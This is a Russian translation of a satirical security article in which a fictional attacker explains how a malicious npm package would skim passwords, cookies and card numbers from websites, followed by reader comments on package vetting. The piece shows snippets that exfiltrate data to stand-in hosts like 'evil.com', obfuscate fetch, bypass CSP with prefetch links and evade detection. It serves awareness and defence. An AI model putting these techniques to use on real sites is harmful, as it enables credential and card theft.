Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов

https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
  • Перевод
Продолжение: Рассказ о том, как не дать мне украсть номера кредиток и пароли у посетителей ваших сайтов
Представляем вам перевод статьи человека, который несколько лет воровал имена пользователей, пароли и номера кредитных карт с различных сайтов.


То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.

Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.

В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.

Как это работает


Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:

  • На странице есть тег <form>.
  • Там имеется элемент, в свойствах которого есть input[type="password"], или name="cardnumber", или name="cvc", или нечто подобное.
  • Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.

Затем, при возникновении события blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы, код выполняет следующие действия:

  • Берёт данные из всех полей формы, расположенной на странице (document.forms.forEach(…)).
  • Читает document.cookie.
  • Превращает это всё в строку, которая выглядит как беспорядочный набор символов (const payload = btoa(JSON.stringify(sensitiveUserData))).
  • Затем отправляет то, что получилось, по примерно такому адресу: https://legit-analytics.com?q=${payload} (адрес это, конечно, выдуманный).

Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.

Предыстория


Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.

Вот мудрый совет от Google:

Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.

К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты.

NPM


Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.

Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст. Вот как это выглядит:


А вот, если надо, исходный код.

Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».

Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве.

В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.

И это — только один пакет. Похожих было ещё 6.

Тогда я вышел более чем на 120000 загрузок в месяц, и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.

Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.

Анализ замечаний тех, кто уверен в своей безопасности


Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.

▍Я заметил бы исходящие сетевые запросы!


Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).

▍Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!


В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.

И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.

Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.

Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям.

Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.

Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.

▍Я бы это увидел в исходном коде пакета на GitHub!


Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.

В моём package.json я задал свойство files так, что оно указывает на директорию lib, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда npm publish шлёт в npm. Но директория lib указана в .gitignore, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.

Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в /lib/package.min.js — это реальный результат минификации /src/package.js?

В итоге, на GitHub мой код никому не найти.

▍Я проанализировал бы все минифицированные исходники кода из node_modules!


Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.

Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов fetch и XMLHttpRequest, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А self — это всего лишь псевдоним для window.

А вот ещё один способ записать команду вида fetch(...):

self['\u0066\u0065\u0074\u0063\u0068'](...)

Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.

Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие fetch. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде new EventSource(urlWithYourPreciousData). При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя serviceWorker для прослушивания событий fetch, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих serviceWorker, но не EventSource.

▍У меня есть политика защиты контента!


Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.

Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome, и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.

Если вы ещё не знаете, то CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).

В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.

Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано report-uri). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.

Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.

Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.

fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Существует ли такой заголовок? Устраивает ли это меня?
});

В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.

Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.

У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.

У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано default-src. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали form-action.

Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано form-action, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.

Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.

Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.

Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.

Что делать?


Вот несколько вариантов защиты от всего того, о чём я рассказал.

▍Вариант №1: никакого интернета, никаких сайтов


Полагаю, тут всё понятно без лишних слов:


Здесь вы будете в безопасности.

▍Вариант №2: никакого постороннего кода на важных страницах


На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.

Как советуют здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.

При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).

Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?

Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.

Серьёзный разговор


Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.

В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.

Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?

Итоги


Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).

Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.

Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?

RUVDS.com 677,41
RUVDS – хостинг VDS/VPS серверов
Поделиться публикацией
Комментарии 323
  • +11
    Почти с самого начала статьи предвидел содержимое «Серьёзного разговора»
    • +6
      Спасибо за перевод! Возможно пришло время создания платного пакетного репозитория с ручной проверкой пакетов, вроде AppStore, и более высоким уровнем доверия. Остается надеяться, что на его страницах оплаты или авторизации не будет сидеть ничего подобного из статьи =)
      • +8
        В серьезных компаниях (к счастью, я работаю именно в такой) делается проще — ставится приватный репозиторий, туда копируются пакеты из публичного, но изначально доступ заблокирован для всех, пока их не проверит служба ИБ, где работают довольно умные люди.

        После того как пакет проверен — он допускается в QA, но на этапе выпуска в Prod это еще раз анализируется в различных моментах, вплоть до открытия кода на Х% реальных юзеров, чтобы протестировать в условиях максимально близких к боевым

        На любом этапе анализируется весь трафик, который идет на/из устройства и в случае подозрений — делается rollback
        • +1
          А можете поделиться, на базе чего поднимали приватный репозиторий?
          • +2

            Кстати да, вопрос к jbaruch, умеет Artifactory подменять npm ?

            • 0

              Я не jbaruch, но да, умеет, по крайней мере enterprise версия. И есть простые репозитории, которые в докере поднимаются за 5 минут.

              • +3

                Я jbaruch, и не надо грязи, даже обычный Pro умеет. Проблема с простыми репозиториями, что они кроме npm ничего не умеют.

              • 0
                Умеет.
              • +1
                Раньше использовали www.npmjs.com/package/sinopia, сейчас Artifactory платную, т.к. интеграция с AD, групповые политики и много чего еще вкусного
                • +1

                  sinopia имеет проблемы с пакетами вида @somescope/somepackagename
                  Разработчики забили на поддержку.
                  Вот живой и поддерживаемый форк verdaccio (1700+ звёзд)

                  • 0
                    Я её очень давно использовал, потом как раз перешли на Артифактори по причине отсутствия поддержки, ну и были еще требования прикрутить роли/группы и интегрировать с AD/LDAP

                    Но за ссылку — спасибо! Пригодится в будущем
                • 0
                  nexus repository
                  Не знаю на чем у них, но мы используем этот. Пока негативных моментов не заметили.
                • +1

                  А как проверяется? Как служба ИБ проверяет npm-пакеты?

                  • 0
                    Ну так банальный core review и сборка из исходников, чтобы не прилетело бинарников непонятных
                    При первом добавлении пакета — довольно сложная процедура, т.к. нужно изучить много кода, при апдейтах — много проще — посмотреть diff'ы

                    ИБ в данном случае — это не только security engineer, но еще и неплохие программисты с практическим опытом в bounty
                    • +1
                      Ну так банальный core review и сборка из исходников

                      Это не даст 100% гарантии, что в коде не содержится вредоносных фрагментов.


                      Типичный пример: ослабление open source критографических библиотек спецслужбами. Никто об этом годами даже не догадывался, пока об это не сообщили явно.

                      • +3
                        Ну паранойя, паранойей, но всё должно быть в балансе
                        Известные уязвимости проверяются, в том числе пакеты/версии в которых они найдены, но всё проверить невозможно, это все прекрасно понимают

                        В ИБ всегда баланс рисков и затрат на их снижение. И задача прежде всего именно снизить риски, т.к. любой безопасник понимает, что полностью их исключить нельзя (последний пример с уязвимостью в процессорах — явный пример, без всякой теории заговора спецслужб)
                        • +1
                          Просто из праздного интереса: а если в пакете обнаружен зловредный код? Пакет отбрасывается как ненадежный (что влечет за собой изменения в проекте, так как надо чем-то заменить функционал выброшенного модуля) или делается свой внутренний фикс уязвимости?
                          • 0
                            По разному. В любом случае пишется баг-репорт разработчику. Если команда, которой нужен был компонент не нашли альтернативы или фикс тривиальный, то после внутреннего тестирования помимо баг репорта будет еще и пулл-реквест

                            Но иногда или пакет плохо поддерживается (или вообще разработку забросили), или же фикс нетривиальный и требует времени чуть ли не больше, чем разработка фичи/функционала с нуля — в таком случае скорей всего будут искать альтернативу или писать руками
                            • 0
                              Изменения в проекте не влечет, так как проект как правило не может зависить от того, что еще не прошло ревью. Но конкретная судьба зависимости может быть разной, ответ nox1725 вполне исчерпывающий.
                          • +1
                            Эти ослабления делаются не явным для не математика образом, и прогеры их в упор не видят и это нормально…
                            … а сторонний функционал визуально очевиден, о чём и речь в посте, в git одно, а в сборке другое
                            • +1
                              Именно! Помимо зловредных вещей некоторые вполне себе крупные компании имеют в своем софте код, который отправляет «обезличенные» аналитические данные о работе системы. При этом в open source версии (в коде) этого участка нет, а в бинарном пакете от вендора есть

                              Конечно в ToA или в лицензии об этом прописано, но если нам не хочется, чтобы что-то куда-то отправлялось, — мы просто собираем из сорцов

                              Это даже не уязвимость, это сбор данных пользователя, например. Или авто-баг репорты.
                          • 0
                            Слепая сборка из исходников может быть еще опаснее: чужой код запускается на ваших серверах, причем возможно еще и на тех которые имеют доступ выкладывать что-то на прод.
                            • 0
                              Вроде бы я написал core review & local building, как вы думаете, что идет сначала? :-)

                              И конечно код ребята из ИБ собирают в песочницах (докер/виртуалки), потом тестируют, потом только его отправляют на сборку в центральный Jenkins/TeamCity и оттуда в репу
                              • 0
                                Какой вообще смысл собирать на центральном сервере однократно?
                                • 0
                                  Не однократно, а при изменении версии.

                                  Мы же тут вроде о зависимостях говорим. Пока зависимость не нуждается в обновлении, её собранный артефакт не нуждается в повторной сборке.

                                  При наличии CICD пересобирается только то, что требует пересборки
                                  • 0
                                    То есть при изменении версии новая версия руками уже не проверяется? И чужой код автоматически исполняется на общем билд-сервере?
                                    • 0
                                      Нет же, наоборот, проверяется так же, только уже смотрятся диффы, потом собирается в изолированном окружении и только потом уходит апдейт на основной билд сервер

                                      То есть проверка апдейтов делается так же как и любого другого кода, разве что быстрее, т.к. как правило объем изменений не такой большой (диффы)
                          • 0
                            К слову сказать, код, который пишется в продукт так же проверяется, как и зависимости. Без такой проверки в прод он не уйдет
                            • +1
                              Посыл ведь прост.«Какими бы вы умными не были у вас всегда может быть плохой день».
                              • 0
                                Да, конечно, всё так. Но никто и не говорит о 100% гарантии, однако уменьшить риски это помогает.

                                Плюс код как правило смотрит минимум 4 глаза
                              • +5
                                Что-то не было замечено доскональных платных аудитов OpenSSL, а ведь позволю себе заметить, что OpenSSL пользовались не только бедные студенты, но и уважаемые софтварные компании, а они пишут код в продукт, который проверяется…
                                Oh, sh~, видимо не проверяется, по крайней мере зависимости)
                                • 0
                                  А FIPS относится к «доскональному»? И если нет — то почему?
                                  • 0
                                    Только почему-то FIPS 140-2 случился значительно позже маленького случая с Heartbleed, когда корпы поняли, что неплохо бы SSL библиотеку и проверить, а не просто использовать «как есть», в то время как автор перебивался случайными средствами и едва мог оплатить счета за электричество и железо для тестирования своей библиотеки…
                                  • 0
                                    Тот же RHEL делает аудит кода. Бесплатный, только плата за поддержку. Тот же GRSecurity тоже делает. Это из тех кто «на устах»

                                    Крупные компании тоже проводят свой аудит, особенно если работают в тех сферах, где защита информации — основная задача (финансы, крипта, всякий enterprise)
                                  • 0
                                    Ага, сколько лет проверялся OpenSSL?
                                    habrahabr.ru/sandbox/100878
                                    Этой ошибке много лет и это в пакете за которым следят миллионы глаз.
                                    • 0
                                      Это баг, но это не уязвимость. Любой софт содержит баги, прям вот любой. Делать аудит на баги и делать работу QA другой компании (или open source проекта) — слишком затратно, ради просто включения в проект.

                                      Если баг проявляется у вас лично — пишите баг репорт и его поправят или сразу пулл реквест, если вы у себя его поправили уже. Если баг вам не мешает спать по ночам, то смело игнорируйте, если он не несет угрозы ИБ
                                      • 0
                                        Но я еще не встречал, что бы в основе уязвимости лежал на баг, а закладка.
                                        Поправьте меня, если вдруг что то не заметил
                                        Именно баги превращаются в уязвимости, увы
                                        • 0
                                          Хотя бы вот habrahabr.ru/post/200686

                                          А еще рекомендую почитать www.csoonline.com/article/3157377/application-development/report-attacks-based-on-open-source-vulnerabilities-will-rise-20-percent-this-year.html (на английском), очень интересная статья по этому поводу. Думал перевести на Хабр, но не уверен, что найду время
                                          • 0
                                            Не совсем убедили.
                                            Алгоритм то заявленные требования обеспечивал и то, что при определенных параметрах нет секретности, так и кривые есть сингулярные.
                                            Есть рекомендованные ГОСТ параметры кривой, так и на веру их и принимают все.
                                            И тот же NIST всегда указывал, что параметры a,b,… выбраны по критерию простоты вычислений.
                                            В биткойне так вообще a=0 ( проще некуда) и что-то мне подсказывает, что не спроста ))
                                    • 0
                                      Сам живу в серьезной компании. Думаю, по описанному сценарию мы бы ничего не отловили. По крайней мере сразу. Только с логов view у клиентов, и то, если бы они сами к нам обратились с проблемой. А сами не поймали бы, т.к. у нас все интеграционные тесты запускаются на машинах с локальных адресов или по локальному имени машины, что легко отследить и проверить. Т.е. те кто пишут, что найдет СБ или мы сами тестами — ребята, по-моему вы оптимисты.
                                • 0

                                  А может проще CSP правильно настроить?

                                • +29
                                  мне даже стало страшно, пока я это читал)))
                                  • +1
                                    Если еще не читали, то советую вам почитать про уязвимости Meltdown/Spectre от этого действительно станет страшно видя то, как как грибы появляются реализации на Github'е и судорожные попытки закрыть уязвимости софтверно с соответствующим проседанием производительности, особенно в серверном сегменте (сервера Nex Machine для примера получили проседание в 5ть раз).
                                    • +5
                                      мне кажется несколько преувеличивают.
                                      что б поймать кусок памяти с паролем надо перелопатить условно половину оперативки(в среднем).
                                      скорость доступа к произвольной памяти там неахти(да и несовсем к произвольной)

                                      тоесть уязвимость конечно сурьезная, но так просто не заюзаешь.
                                      • 0
                                        это не говоря о
                                        Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

                                        работает независимо от наличия Meltdown/Spectre уязвимостей
                                      • 0
                                        У серверов Nex Machine нагрузка была 5%, а стала 25%, проседания там не должно было быть.
                                        • 0
                                          Не понимаю хайпа Meltdown. Страшно, что из-за этой фигни патч ОС делает почти весь софт медленнее.
                                          • +1
                                            Если бы плодились реально рабочие реализации, было бы интересно. А так — тупо очередной «хайп».
                                            • 0
                                              А вы что имеете в виду? Что кто-то сделает «рабочую реализацию» и потом сразу напишет об этом на хабр?
                                              Если вы не знаете о какой-то реализации то тут возможно 2 случая:
                                              * ее не существует
                                              * вы о ней не знаете
                                              • 0
                                                При чём тут Хабр? Человек написал что его беспокоят плодящиеся «как грибы» реализации атаки, а я лишь обратил его внимание, что абсолютное большинство этих реализаций ничего путного из себя не представляют.

                                                А ситуацию, при которой кто-то что-то расковырял и тайно этим пользуется, ни я, ни автор комментария, на который я отвечал, никак не обсуждали — зачем вы это тут за уши притягиваете я не понимаю.
                                                • +1
                                                  Прошу прощения, снова я не разобрался в контексте.
                                          • –1
                                            А мне не стало страшно, т.к. я никогда не использую в веб-проектах сторонний код, от слова «вообще» :)
                                            • +4
                                              Прошу прощения, но боюсь что у вас просто недостаточно воображения для паранойи.
                                              Если вы пишете веб-приложения, то, скорее всего, вы их на чем-то хостите? Может быть вы слышали про apache? Или, может быть, вы используете серверные интерпретируемые языки типа Python/PHP/etc? Может быть вы точно знаете что делает каждая строчка в их исходном коде?
                                              На самом деле стоит только Линусу Торвальдсу захотеть намайнить немного криптовалюты и ядро linux неуловимо изменится… Конечно, там не он один все ревьюит, но тем не менее, уровень паранойи можно включить на максимум при желании…
                                              • 0
                                                Да, вы абсолютно правы. Я писал лишь про вот эти модные npm-пакеты и кучу сторонних библиотек, которую сейчас пихают к месту и не к месту, особенно в небольшие сайты (примеры из статьи с раскраской вывода на консоль и «удобной ease-функцией» для анимаций очень ярко иллюстрируют это явление).
                                              • 0
                                                Ну например мне стало страшно не от того что я испугался за свои проекты, а от осознания того что может твориться в чужих. Например там где я покупаю электронику/игры/книги
                                            • +16
                                              Ни одна статья за последние годы меня так не заставляла параноить :/
                                              • +16

                                                Помимо всего этого есть другие ЯП со своими пакетными менеджерами. Хороший год.
                                                Всё от ПО до железа — дыра безопасности. Ну хоть что-то в безопасности.

                                                • +1
                                                  Вообще, дыр, судя по всему, огромное количество. Страшно подумать, что будет, если это начнут ковырять всерьёз. Меня, в своё время, впечатлило вот это (перекликается с темой статьи, кстати).
                                                  • +4
                                                    Моё мнение: кому надо, давно расковыряли и пользуются без огласки. Как товарищ из статьи.
                                                  • 0
                                                    Но минификация только в потенциально клиентском коде.
                                                  • +4
                                                    Зачем все эти сложности с контролем кода, когда можно запросто иметь выделенную банковскую карточку только для оплаты через интернет и пополнять её только перед оплатой? Всё остальное время на ней нулевой остаток. И пусть этот ноль воруют сколько влезет. Это же очень просто — отдельная карта для интернета. И всё.
                                                    • +5
                                                      Потому, что это могут быть не только данные кредиток, а все, что угодно. Медицина, пароли к сервисам, да мало ли что.
                                                      • +39
                                                        А переводить вы на неё деньги будете в веб-банкинге, написанном модными-стильными-современными js-кодерами…
                                                        • –4
                                                          Вроде бы есть достаточно провайдеров виртуальных карт, счета которых можно пополнить просто в терминале… Везде, где я жил в своём, пусть и достаточно крупном городе, терминалы были в шаговой доступности, от силы потратишь десяток минут и получишь деньги на счету, и сразу же тратишь.
                                                          Может это деформация, ввиду образования в области компьютерной безопасности, но немалая часть моих знакомых делает точно так же…
                                                          • +9
                                                            О, получается ещё веселее алгоритм. чтобы что-то оплатить с виртуальной карты:

                                                            1. Выйти на улицу, найти банкомат своего банка, чтобы снять деньги с зарплатой карточки.
                                                            2. Чертыхнуться, потому что банкомат не работает и пойти в другое отделение.
                                                            3. Отстоять очередь.
                                                            4. Снять нужную сумму.
                                                            5. Найти терминал, чтобы внести деньги на виртуальную карту.
                                                            6. Чертыхнуться, потому что терминал отказывается принимать последнюю пятитысячную купюру.
                                                            7. Вернуться к банкомату, отстоять очередь, снять ещё 5 тысяч рублей.
                                                            8. Вернуться к терминалу.
                                                            9. Дойти до дома.

                                                            Да, ещё не забыть про комиссии.
                                                            • –6
                                                              Эмм, видимо я совершенно в своём(параноидальном?) мире живу, у меня нет денег на картах, у меня всё, чем я в ближайшее время собираюсь пользоваться — в наличке, причём с неплохим таким запасом на случай непредвиденных обстоятельств(включая непринимаемые терминалами купюры)…
                                                              С банкоматами, их поиском и прочими чудесами вида «у нас нет связи с банком»(а бывают и похлеще, уж поверьте), я не сталкиваюсь, и окружающим не рекомендую… Да и ваша цепочка показывает, что банкомат стоит из этого алгоритма выбросить, как наиболее затратную по времени составляющую)
                                                              0. Найти терминал(если вдруг ещё не запомнил, где терминалы около твоего дома :)).
                                                              1. Дойти до терминала
                                                              2. Внести деньги на виртуальную карту(даже с выбором другой купюры из кошелька — займёт не больше пары минут).
                                                              3. Дойти до дома.
                                                              Причём первый и последний пункт зачастую отпадают, так как можно посетить терминал по дороге от работы до дома, или наоборот…
                                                              • +10
                                                                Видимо вы не ездите ни в другой город, ни за границу.
                                                                И, конечно же, терминалы вы выбираете именно те, в которых знаете что софт стоит точно после code review и не содержит ничего из npm-пакетов.
                                                                • –3
                                                                  При поездке в другой город, и тем более заграницу — на карточки надеяться это ещё интереснее, чем в своём городе) Банальная ситуация — у нескольких тысяч человек заблокировали карточки по причине того, что на банкомате нашли скиммер, который поставили неизвестно когда… Соответственно все, кто за последние N месяцев банкоматом пользовались должны были ждать пару недель до выпуска новой карты, либо идти в банк и получать деньги из кассы с паспортом.
                                                                  А теперь представьте аналогичную ситуацию, только с вариантом, что вы находитесь заграницей?) Сколько головной боли получите? В другом городе, где нет отделений того же банка, хоть и есть банкоматы — тоже ситуация не лучше…
                                                                  На прошивку терминала его проблемы мне побоку — если я внёс деньги, получил чек, то как показывает практика — вопросы с не дошедшим, или дошедшим по неверному адресу платежом решаются через техподдержку в течении пары суток… Неприятно, но не страшно — зависшие несколько тысяч на конкретную покупку это не такая уж большая проблема.
                                                                  • +4
